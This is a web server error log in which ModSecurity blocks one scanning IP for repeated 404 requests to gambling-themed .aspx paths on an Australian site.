[Sat Apr 11 04:46:25.468449 2026] [:error] [pid 33288:tid 33313] [client 51.83.238.207:36106] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adlhoWJmwJFFPEgRHfH0BAAAANc"]
[Sat Apr 11 04:46:26.302365 2026] [:error] [pid 33172:tid 33230] [client 51.83.238.207:36114] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adlhojn2G0IJw5EZY9kQogAAAEw"]
[Sat Apr 11 04:46:27.258638 2026] [:error] [pid 33288:tid 33304] [client 51.83.238.207:36126] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adlho2JmwJFFPEgRHfH0DAAAAM4"]
[Sat Apr 11 04:46:27.539835 2026] [:error] [pid 33288:tid 33306] [client 51.83.238.207:36136] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adlho2JmwJFFPEgRHfH0DQAAANA"]
[Sat Apr 11 04:46:28.429472 2026] [:error] [pid 33172:tid 33220] [client 51.83.238.207:42646] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adlhpDn2G0IJw5EZY9kQqwAAAEI"]
[Sat Apr 11 04:46:28.565500 2026] [:error] [pid 33172:tid 33236] [client 51.83.238.207:42654] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adlhpDn2G0IJw5EZY9kQrQAAAFI"]
[Sat Apr 11 04:46:29.486412 2026] [:error] [pid 33171:tid 33188] [client 51.83.238.207:42658] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adlhpboqTMlo30hcVw83HQAAAAI"]
[Sat Apr 11 04:46:30.406912 2026] [:error] [pid 33171:tid 33194] [client 51.83.238.207:42666] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adlhproqTMlo30hcVw83JAAAAAg"]
[Sat Apr 11 04:46:30.533728 2026] [:error] [pid 33172:tid 33242] [client 51.83.238.207:42672] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adlhpjn2G0IJw5EZY9kQrgAAAFg"]
[Sat Apr 11 04:46:31.265348 2026] [:error] [pid 33288:tid 33309] [client 51.83.238.207:42692] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adlhp2JmwJFFPEgRHfH0HgAAANM"]
[Sat Apr 11 04:46:31.316944 2026] [:error] [pid 33288:tid 33294] [client 51.83.238.207:42682] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adlhp2JmwJFFPEgRHfH0IAAAAMQ"]
[Sat Apr 11 04:46:32.203110 2026] [:error] [pid 33171:tid 33201] [client 51.83.238.207:42700] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adlhqLoqTMlo30hcVw83KAAAAA8"]
[Sat Apr 11 04:46:32.934748 2026] [:error] [pid 33288:tid 33313] [client 51.83.238.207:42708] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adlhqGJmwJFFPEgRHfH0KQAAANc"]
[Sat Apr 11 04:46:33.514681 2026] [:error] [pid 33173:tid 33245] [client 51.83.238.207:42720] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adlhqa8109xRDP2izWijXgAAAIA"]
[Sat Apr 11 04:46:33.818036 2026] [:error] [pid 33288:tid 33298] [client 51.83.238.207:42734] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adlhqWJmwJFFPEgRHfH0LAAAAMg"]
[Sat Apr 11 04:46:34.245569 2026] [:error] [pid 33171:tid 33210] [client 51.83.238.207:42750] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adlhqroqTMlo30hcVw83LwAAABg"]
[Sat Apr 11 04:46:35.833159 2026] [:error] [pid 33172:tid 33231] [client 51.83.238.207:42758] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adlhqzn2G0IJw5EZY9kQvwAAAE0"]
[Sat Apr 11 04:46:36.307928 2026] [:error] [pid 33288:tid 33308] [client 51.83.238.207:42774] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adlhrGJmwJFFPEgRHfH0MgAAANI"]
[Sat Apr 11 04:46:36.451497 2026] [:error] [pid 33173:tid 33249] [client 51.83.238.207:42782] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adlhrK8109xRDP2izWijdwAAAIQ"]
[Sat Apr 11 04:46:37.095565 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:42790] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adlhra8109xRDP2izWijfAAAAIo"]
[Sat Apr 11 04:46:39.160035 2026] [:error] [pid 33288:tid 33299] [client 51.83.238.207:49330] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adlhr2JmwJFFPEgRHfH0OwAAAMk"]
[Sat Apr 11 04:46:39.171027 2026] [:error] [pid 33173:tid 33266] [client 51.83.238.207:49320] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adlhr68109xRDP2izWijhwAAAJU"]
[Sat Apr 11 04:46:39.318633 2026] [:error] [pid 33288:tid 33293] [client 51.83.238.207:49340] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adlhr2JmwJFFPEgRHfH0QAAAAMM"]
[Sat Apr 11 04:46:40.434695 2026] [:error] [pid 33288:tid 33298] [client 51.83.238.207:49342] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adlhsGJmwJFFPEgRHfH0SQAAAMg"]
[Sat Apr 11 04:46:41.888410 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:49372] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adlhsWJmwJFFPEgRHfH0VAAAANU"]
[Sat Apr 11 04:46:41.963809 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:49358] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adlhsWJmwJFFPEgRHfH0VgAAAME"]
[Sat Apr 11 04:46:43.619293 2026] [:error] [pid 33171:tid 33195] [client 51.83.238.207:49386] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adlhs7oqTMlo30hcVw83UQAAAAk"]
[Sat Apr 11 04:46:43.627360 2026] [:error] [pid 33171:tid 33188] [client 51.83.238.207:49388] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adlhs7oqTMlo30hcVw83UgAAAAI"]
[Sat Apr 11 04:46:44.714537 2026] [:error] [pid 33172:tid 33233] [client 51.83.238.207:49394] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adlhtDn2G0IJw5EZY9kQ1QAAAE8"]
[Sat Apr 11 04:46:46.141723 2026] [:error] [pid 33288:tid 33312] [client 51.83.238.207:49400] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adlhtmJmwJFFPEgRHfH0bQAAANY"]
[Sat Apr 11 04:46:46.333148 2026] [:error] [pid 33288:tid 33306] [client 51.83.238.207:49416] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adlhtmJmwJFFPEgRHfH0cQAAANA"]
[Sat Apr 11 04:46:47.293960 2026] [:error] [pid 33171:tid 33210] [client 51.83.238.207:49420] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adlht7oqTMlo30hcVw83YgAAABg"]
[Sat Apr 11 04:46:47.497040 2026] [:error] [pid 33172:tid 33235] [client 51.83.238.207:49428] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adlhtzn2G0IJw5EZY9kQ2QAAAFE"]
[Sat Apr 11 04:46:49.165396 2026] [:error] [pid 33173:tid 33265] [client 51.83.238.207:38882] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adlhua8109xRDP2izWijpQAAAJQ"]
[Sat Apr 11 04:46:50.403066 2026] [:error] [pid 33288:tid 33296] [client 51.83.238.207:38896] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adlhumJmwJFFPEgRHfH0mgAAAMY"]
[Sat Apr 11 04:46:50.435196 2026] [:error] [pid 33288:tid 33308] [client 51.83.238.207:38898] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adlhumJmwJFFPEgRHfH0mwAAANI"]
[Sat Apr 11 04:46:50.647666 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:38904] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adlhumJmwJFFPEgRHfH0ngAAAME"]
[Sat Apr 11 04:46:52.211138 2026] [:error] [pid 33171:tid 33205] [client 51.83.238.207:38908] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adlhvLoqTMlo30hcVw83dgAAABM"]
[Sat Apr 11 04:46:53.237751 2026] [:error] [pid 33172:tid 33233] [client 51.83.238.207:38922] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adlhvTn2G0IJw5EZY9kQ6wAAAE8"]
[Sat Apr 11 04:46:54.214002 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:38926] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adlhvmJmwJFFPEgRHfH0tgAAAM0"]
[Sat Apr 11 04:46:55.758945 2026] [:error] [pid 33288:tid 33313] [client 51.83.238.207:38928] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adlhv2JmwJFFPEgRHfH0wQAAANc"]
[Sat Apr 11 04:46:56.260998 2026] [:error] [pid 33171:tid 33210] [client 51.83.238.207:38936] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adlhwLoqTMlo30hcVw83kAAAABg"]
[Sat Apr 11 04:46:58.826572 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:38626] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adlhwq8109xRDP2izWijuQAAAI4"]
[Sat Apr 11 04:46:58.920638 2026] [:error] [pid 33171:tid 33192] [client 51.83.238.207:38640] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adlhwroqTMlo30hcVw83ngAAAAY"]
[Sat Apr 11 04:47:01.599310 2026] [:error] [pid 33171:tid 33189] [client 51.83.238.207:38666] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adlhxboqTMlo30hcVw83pQAAAAM"]
[Sat Apr 11 04:47:02.448349 2026] [:error] [pid 33172:tid 33220] [client 51.83.238.207:38668] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adlhxjn2G0IJw5EZY9kRAwAAAEI"]
[Sat Apr 11 04:47:04.139000 2026] [:error] [pid 33172:tid 33222] [client 51.83.238.207:38670] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adlhyDn2G0IJw5EZY9kRCgAAAEQ"]
[Sat Apr 11 04:47:06.766615 2026] [:error] [pid 33173:tid 33266] [client 51.83.238.207:38672] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adlhyq8109xRDP2izWij1gAAAJU"]
[Sat Apr 11 04:47:28.916038 2026] [:error] [pid 33172:tid 33226] [client 51.83.238.207:40580] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adlh4Dn2G0IJw5EZY9kRiQAAAEg"]
[Sat Apr 11 04:47:31.474522 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:44506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adlh42JmwJFFPEgRHfH1nQAAAM0"]
[Sat Apr 11 04:47:34.081562 2026] [:error] [pid 33173:tid 33254] [client 51.83.238.207:44516] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adlh5q8109xRDP2izWikLAAAAIk"]
[Sat Apr 11 04:47:36.893660 2026] [:error] [pid 33172:tid 33224] [client 51.83.238.207:44522] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adlh6Dn2G0IJw5EZY9kRlQAAAEY"]
[Sat Apr 11 04:47:39.684307 2026] [:error] [pid 33171:tid 33188] [client 51.83.238.207:58914] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adlh67oqTMlo30hcVw84EQAAAAI"]
[Sat Apr 11 04:47:42.062342 2026] [:error] [pid 33171:tid 33207] [client 51.83.238.207:58916] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adlh7roqTMlo30hcVw84HAAAABU"]
[Sat Apr 11 04:47:44.589712 2026] [:error] [pid 33171:tid 33199] [client 51.83.238.207:58920] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adlh8LoqTMlo30hcVw84IQAAAA0"]
